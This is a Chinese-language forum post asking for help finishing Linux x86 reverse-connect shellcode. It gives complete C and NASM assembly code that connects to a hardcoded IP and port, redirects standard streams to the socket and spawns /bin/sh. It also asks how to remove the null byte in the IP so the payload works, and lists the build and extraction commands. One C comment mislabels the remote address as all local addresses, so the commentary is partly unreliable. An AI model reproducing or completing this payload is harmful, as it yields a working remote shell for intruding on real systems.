反弹连接的shellcode
C代码
#include<sys/socket.h> //构造socket所需的库 #include<netinet/in.h> //定义sockaddr结构 int main() { char *shell[2]; //用于execv调用 int soc,remote; //文件描述符句柄 struct sockaddr_in serv_addr; //保存IP/端口值的结构 serv_addr.sin_addr.s_addr=0x6400A8C0; //将socket的地址设置为所有本地地址 serv_addr.sin_port=0xBBBB; //设置socket的端口48059 serv_addr.sin_family=2; //设置协议族:IP soc=socket(2,1,0); remote=connect(soc,(struct sockaddr *)&serv_addr,0x10); dup2(soc,0); //将stdin连接client dup2(soc,1); //将stdout连接client dup2(soc,2); //将strderr连接到client shell[0]="/bin/sh"; //execve的第一个参数 shell[1]=0; //数组的第二个元素为NULL,表示数组结束 execv(shell[0],shell,NULL); //建立一个shell }
serv_addr.sin_addr.s_addr=0x6400A8C0 这是设置远程反向连接的IP地址呢,这里面有00,所以shellcode中会出现00,就会导致shellcode中断,无法完成攻击,有没有好的办法呢?
汇编语言代码:
section .text global _start _start: xor eax,eax ;清空eax xor ebx,ebx ;清空ebx xor edx,edx ;清空edx ;soc=socket(2,1,0) push eax ;socket的第三个参数:0 push byte 0x1 ;socket的第二个参数:1 push byte 0x2 ;socket的第一个参数:2 mov ecx,esp ;将数组的地址设置为socketcall的第二个参数 inc bl ;将socketcall的第一个参数设置为1 mov al,102 ;调用socketcall,分支调用号为1:SYS_SOCKET int 0x80 ;进入核心态,执行系统调用 mov esi,eax ;将返回值(eax)存储到esi中(即soc句柄) ;remote=connect(soc,(struct sockaddr *)&serv_addr,0x10) push edx; ;仍然为0,用来作为接下来压栈的数据的结束符 push long 0x6400A8C0 ;本节代码中新增,将地址反序得到的十六进制压栈 push word 0xBBBB ;将端口压栈,十进制为48059 xor ecx,ecx ;清空ecx,以便保存结构的sa_family字段 mov cl,2 ;将ecx的地位字节,设置为2 push word cx ;建立结构,包括端口和sin.family,共四个字节 mov ecx,esp ;将结构的地址(在栈上)复制到ecx push byte 0x10 ;connect参数的开始,将16压栈 push ecx ;在栈上保存结构的地址 push esi ;将服务器文件描述符esi保存到栈 mov ecx,esp ;将参数数组的地址保存到ecx(socketcall的第二个参数) mov bl,3 ;将bl设置为3,socketcall的第一个参数 mov al,102 ;调用socketcall,分支调用号为3:SYS_CONNECT int 0x80 ;进入核心态,执行系统调用 mov ebx,esi ;将客户端的soc文件描述符复制到ebx ;dup2(soc,0) xor ecx,ecx ;清空ecx mov al,63 ;将系统调用的第一个参数设置为63:dup int 0x80 ;进行系统调用 ;dup2(client,1) inc ecx ;ecx设置为1 mov al,63 ;准备进行系统调用:dup2:63 int 0x80 ;进行系统调用 ;dup2(client,2) inc ecx ;ecx设置为2 mov al,63 ;准备进行系统调用:dup2:63 int 0x80 ;进行系统调用 ;标准的execv("/bin/sh"... push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80
push long 0x6400A8C0 这里就是IP地址,出现了00,怎么办好呢?
如果能解决这个问题,那么下边就可以
nasm -f elf reverse_port_asm.asm
ld -o reverse_port_asm reverse_port_asm.o
然后抽取十六进制代码
objdump -d ./reverse_port_asm
得到shellcode了。
----------------
Lynx
The quieter you become,the more you are able to hear.